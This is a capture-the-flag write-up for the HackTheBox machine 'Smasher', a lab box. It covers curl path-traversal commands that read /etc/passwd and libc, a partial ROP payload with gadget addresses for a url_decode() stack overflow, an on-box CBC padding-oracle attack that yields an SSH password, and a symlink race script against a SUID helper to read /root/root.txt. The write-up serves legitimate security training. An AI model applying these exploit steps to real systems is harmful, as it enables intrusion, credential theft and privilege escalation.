HTB: Smasher Writeup

Smasher - HackTheBox Writeup

Machine Information

AttributeDetails
NameSmasher
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.65.154
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

Smasher is a chained binary-exploitation box built around a custom, stripped-down fork of the shenfeng tiny-web-server. A path-traversal bug in the HTTP request parser leaks the filesystem, including the web server’s own binary and the box’s libc, which is enough to fingerprint and weaponize a stack buffer overflow in url_decode(). Landing a shell as www exposes a second, internal-only service — a homebrew “AES Checker” bound to loopback — that turns out to be a textbook CBC padding oracle leaking SSH credentials for a second user, smasher. From there, a SUID root helper (/usr/bin/checker) has a classic TOCTOU (check-then-use) race between validating a file and consuming it, which is abused to substitute a symlink to /root/root.txt in the window between the permission check and the read.

TL;DR: LFI (/etc/passwd + binary/libc disclosure) → stack overflow in tiny’s url_decode() → single-connection ROP chain (leak libc via write(4, read@GOT), stage a syscall-based second chain in .bss, pop rsp pivot into it) → shell as www → local CBC padding oracle on 127.0.0.1:1337 decrypts smasher’s SSH password → SUID checker TOCTOU race swaps a symlink to /root/root.txt during its sleep() window → root.


Reconnaissance

Port Scanning

Terminal window
nmap -Pn -p- --min-rate=2000 -T4 10.129.65.154

Results:

22/tcp open ssh
1111/tcp open lmsocialserver # shenfeng tiny-web-server (custom fork)

Only two services: standard ssh on 22, and a lightweight HTTP daemon on 1111 identified as a shenfeng tiny-web-server derivative.

Service Enumeration

The tiny-web-server codebase is small enough that any deviation from upstream is significant. Requesting a traversal path against the web root confirmed a local file inclusion / path traversal bug in the request parser — the daemon doesn’t canonicalize or bound the requested path before opening it:

Terminal window
# Directory traversal out of the served web root
curl -s --path-as-is 'http://10.129.65.154:1111/../../../../../etc/passwd'

This returned the box’s /etc/passwd, exposing two non-system accounts of interest: www (uid 1000) and smasher (uid 1001). With arbitrary file read confirmed, the server’s own binary and the target’s C library were pulled straight through the same bug — critical for building a working ROP chain against the exact runtime the box uses:

Terminal window
# Pull the server binary and the box's libc via the same LFI primitive
curl -s --path-as-is -o tiny 'http://10.129.65.154:1111//home/www/tiny-web-server/tiny'
curl -s --path-as-is -o libc.so.6 'http://10.129.65.154:1111//lib/x86_64-linux-gnu/libc.so.6'

Static analysis of tiny (via objdump/readelf) confirmed NX disabled and PIE disabled — a deliberately weakened build, matching the server’s small, custom code path (www’s process model was also trimmed down: it never forks a child per connection, so the exploited process itself keeps serving/dying with the hijack).

Vulnerability Assessment

  • CWE-22 (Path Traversal) in the HTTP request parser → arbitrary file read as www, used to exfiltrate tiny and libc.so.6.
  • CWE-121 (Stack-based Buffer Overflow) in url_decode() — the request path is decoded into a fixed 512-byte stack buffer while the caller allows up to 1024 bytes of input, giving full control of saved return state.
  • No stack canary / NX off / PIE off — the binary is compiled specifically without hardening, turning the overflow into a direct, deterministic RIP-control primitive (no info leak needed to defeat a canary, no leak needed to defeat PIE on the binary itself — only libc’s ASLR base needs to be leaked).
  • CWE-696 / oracle-style padding leak in the internal AES Checker service — later exploited for lateral movement.
  • CWE-367 (TOCTOU race condition) in the SUID /usr/bin/checker binary — later exploited for privilege escalation.

Initial Foothold

Exploitation Path

1. Locating the overflow and the offset.

Fuzzing the request path confirmed a crash once the decoded filename buffer was overrun. Cyclic-pattern analysis against the crash in gdb pinned the exact offset to the saved return address:

Overflow trigger: GET /<1024 bytes> HTTP/1.1
Confirmed offset to saved RIP: 568 bytes
NX: disabled PIE: disabled

Because PIE is off, every address inside tiny (its PLT stubs, GOT entries, and any usable gadgets) is a fixed, known constant across runs. Only the libc base is randomized by ASLR and needs to be leaked at exploit time.

2. Leaking libc.

tiny imports read/write but not puts, so the leak primitive has to be built from write(fd, addr, len) against the read() GOT entry, using the connection’s own socket file descriptor. Because this stripped server never forks and no earlier connections had been closed, the exploited connection’s socket consistently landed on fd 4:

# Gadgets recovered from the disclosed 'tiny' binary (fixed addrs, PIE off)
pop_rsi_r15 = 0x4011db # pop rsi; pop r15; ret
pop_rdi = 0x4011dd # pop rdi; ret
write_plt = 0x400c50
read_plt = 0x400cf0
buf = b'A' * 568 # pad to saved RIP
buf += p64(pop_rsi_r15) + p64(read_got_addr) + p64(0xdeadbeef)
buf += p64(pop_rdi) + p64(4) # fd 4 == this connection's socket
buf += p64(write_plt) # write(4, &read@GOT, ...)

Sending this via GET /<urlencoded payload> and reading the raw bytes back off the same socket recovers read()’s runtime address, from which the libc base is trivially computed (leaked_read - offset_of_read_in_libc, resolved from the disclosed libc.so.6).

3. Escalating past a broken two-connection design.

The textbook approach for this box is to leak the address on one connection, then open a second connection and send a follow-up chain that calls dup2() + system("/bin/sh") assuming the new connection reuses fd 4. That did not hold up against this live target: the hijacked process never actually closes the first connection’s connfd, so a second, independent connection is not guaranteed fd 4 — and the direct system() call on this glibc build (2.27) additionally requires 16-byte stack alignment at the call site, which the naive chain didn’t satisfy, crashing the process outright regardless of the fd guess. Both root causes were verified independently (walking all plausible fd values, and testing both the aligned and misaligned chain) before abandoning the two-connection design.

4. Working exploit: single-connection ROP with an in-memory pivot.

Instead of relying on a second, unpredictable connection, the whole exploit was collapsed into one TCP session:

  1. Leak read@GOT via write(4, read@GOT, 8) as above, on the same connection.
  2. Immediately follow up with read(4, .bss_addr, N) to stage a second ROP chain — built with raw libc gadgets (pop rax, pop rdi, pop rsi, pop rdx, syscall) instead of calling system() — directly into the binary’s .bss segment, sent over the wire in the same request/response cycle.
  3. Pivot execution into the staged chain with a pop rsp gadget found in tiny itself at 0x40178a, redirecting the stack pointer straight into .bss.
  4. The staged chain runs dup2(4, 0), dup2(4, 1), dup2(4, 2), then execve("/bin/sh", NULL, NULL) via raw syscalls — sidestepping system()’s stack-alignment requirement entirely, since syscalls have no such constraint.

This design needs neither a second connection nor any fd guessing beyond the one already proven — everything rides the same socket the leak was taken from. Because the tiny server degrades (and sometimes dies) after each hijack attempt, the exploit was wrapped in a retry loop and re-run until a clean shell landed:

Terminal window
for i in 1 2 3 4 5; do
TERM=xterm timeout 40 python3 one.py 'id' && break
done

This returned an interactive shell as www, confirming the ROP chain and the syscall-based second stage both executed correctly.


Privilege Escalation

www → smasher (padding oracle)

Enumerating listening sockets from the www shell revealed a service bound only to loopback:

Terminal window
ss -tlnp
# 127.0.0.1:1337 — internal-only "AES Checker" service

Probing it manually showed it accepts base64 ciphertext, decrypts it with AES-CBC, and distinguishes between a padding-validation failure and every other outcome in its response — the defining signature of a CBC padding oracle (attacker-controlled ciphertext + a binary “padding OK / padding bad” oracle is sufficient to decrypt the plaintext byte-by-byte without ever knowing the key, by manipulating the previous ciphertext block and observing which guessed byte produces valid PKCS#7 padding).

Because inbound connections to the box are firewalled — attempting to forward 1337 outward with socat was refused — but outbound traffic from the box was permitted, the oracle had to be driven locally, on the target. A dependency-free padding-oracle implementation (no python-paddingoracle library available on the box) was uploaded through the same LFI-adjacent shell access and run directly against 127.0.0.1:1337, with progress polled back out through the original LFI:

Terminal window
# Run the oracle exploit on-box against the loopback-only service
python3 /tmp/po.py > /tmp/po.out 2>&1 &
# Poll results back through the LFI, since we have no direct route to the target
curl -s --path-as-is 'http://10.129.65.154:1111//tmp/po.out'

Iterating the padding oracle block-by-block against the service’s own ciphertext eventually recovered the plaintext in full:

... user 'smasher' is: PaddingOracleMaster123

That credential authenticated directly over SSH:

Terminal window
ssh smasher@10.129.65.154
# Password: PaddingOracleMaster123
cat user.txt
user.txt : <redacted>

smasher → root (SUID TOCTOU race)

Enumerating SUID binaries on the box surfaced /usr/bin/checker, a root-owned SUID helper that takes a filename argument, checks that the invoking user has permission to read it, then (after an internal sleep()) reads and prints the file’s contents as root. The permission check and the actual file consumption are not atomic — a classic time-of-check-to-time-of-use (TOCTOU) flaw. If the file backing the checked path can be swapped for a symlink to a privileged file between the check and the read, checker will happily dump root-owned content it was never authorized to access.

The race was won by creating an innocuous file the current user owns, launching checker against it in the background, and — during its internal sleep window — replacing that path with a symlink to the target file:

Terminal window
# race.sh — win the TOCTOU window in /usr/bin/checker
echo abc > race.tmp # file we're allowed to read, satisfies the check
checker race.tmp & # background the SUID helper against it
rm race.tmp
ln -s /root/root.txt race.tmp # swap it for a symlink during checker's sleep()

checker re-opens the (now-symlinked) path after its check-time delay and dumps /root/root.txt with root privileges — the exploit landed on the first iteration:

root.txt : <redacted>

Attack Chain Summary

LFI in tiny-web-server (/etc/passwd, tiny binary, libc.so.6)
→ offset 568 stack overflow in url_decode() (NX off, PIE off)
→ single-connection ROP: write(4, read@GOT) leak → libc base
→ read(4, .bss) stages syscall-based 2nd chain
→ pop rsp (0x40178a) pivots into staged chain
→ dup2(4,0/1/2) + execve("/bin/sh") → shell as www
→ local AES Checker (127.0.0.1:1337) is a CBC padding oracle
→ on-box oracle run recovers smasher's SSH password
→ SSH as smasher → user.txt
→ SUID /usr/bin/checker TOCTOU race
→ symlink swap during checker's sleep() → /root/root.txt → root

Tools Used

ToolPurpose
nmapPort scanning / service discovery
curlExploiting the LFI, exfiltrating tiny/libc.so.6, polling on-box output
pwntools (Python)ROP chain construction, socket handling for the overflow exploit
ROPgadget / ropperGadget hunting in tiny and libc.so.6
objdump / readelfGOT/PLT resolution, libc symbol offsets
gdbCrash triage and offset confirmation
custom padding-oracle scriptDependency-free CBC padding oracle attack against the internal AES Checker
socatAttempted port forward of the internal service (blocked by inbound firewall)
ssh / scpLateral movement, artifact transfer via the jump host
custom race script (race.sh)TOCTOU exploitation of the SUID checker binary

Key Learnings

Techniques Practiced

  • Exploiting a path-traversal LFI to exfiltrate a target’s own binary and libc for offline gadget/offset analysis.
  • Building a ROP chain against a non-PIE, non-NX binary to leak a libc address via write(fd, GOT_entry, len).
  • Diagnosing a live deviation from a “standard” exploit design (broken fd assumption + missed stack-alignment requirement for system()) and re-engineering the chain around raw syscalls and a stack pivot instead of assuming the textbook path would just work.
  • Recognizing and exploiting a CBC padding oracle from black-box behavioral differences (distinct error responses) rather than from a documented vulnerability.
  • Routing an internal, firewalled service’s exploitation through an already-compromised host when direct network access isn’t available.
  • Exploiting a SUID binary’s TOCTOU window with a symlink race to escalate to root.

Lessons Learned

  1. Never trust that a public writeup’s exact exploit steps will reproduce byte-for-byte on a live target — the same binary can still diverge in runtime behavior (fd reuse, process lifecycle) between environments, and each assumption needs to be verified independently rather than carried over wholesale.
  2. When a straightforward system() call in a ROP chain crashes unexpectedly on modern glibc, stack alignment (glibc ≥2.26’s movaps-based prologues) is a common, easy-to-miss culprit — building syscalls directly (dup2/execve via syscall) sidesteps the requirement entirely.
  3. A single-connection exploit (leak, stage, pivot) is inherently more reliable against a fragile/degrading target service than a multi-connection design that depends on consistent file-descriptor allocation across separate sessions.
  4. Firewalling only inbound traffic to a host doesn’t protect internal-only services bound to loopback — if outbound access exists, an attacker with any code execution can simply run the attack tooling locally on the box and exfiltrate results indirectly (here, through the very LFI that provided the initial foothold).
  5. TOCTOU races in SUID tooling remain exploitable with nothing more than a tight loop and a symlink swap — no exotic tooling is required, just winning a timing window reliably enough.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MinatoTW, “Smasher” — HackTheBox official writeup (Document No. D18.100.28), used here for conceptual explanation of the url_decode() overflow’s root cause, the write-based libc leak primitive, the CBC padding-oracle mechanics, and the SUID checker TOCTOU race. All IPs, addresses, outputs, and credentials in this writeup are from the author’s own live run against 10.129.65.154, not from the referenced document.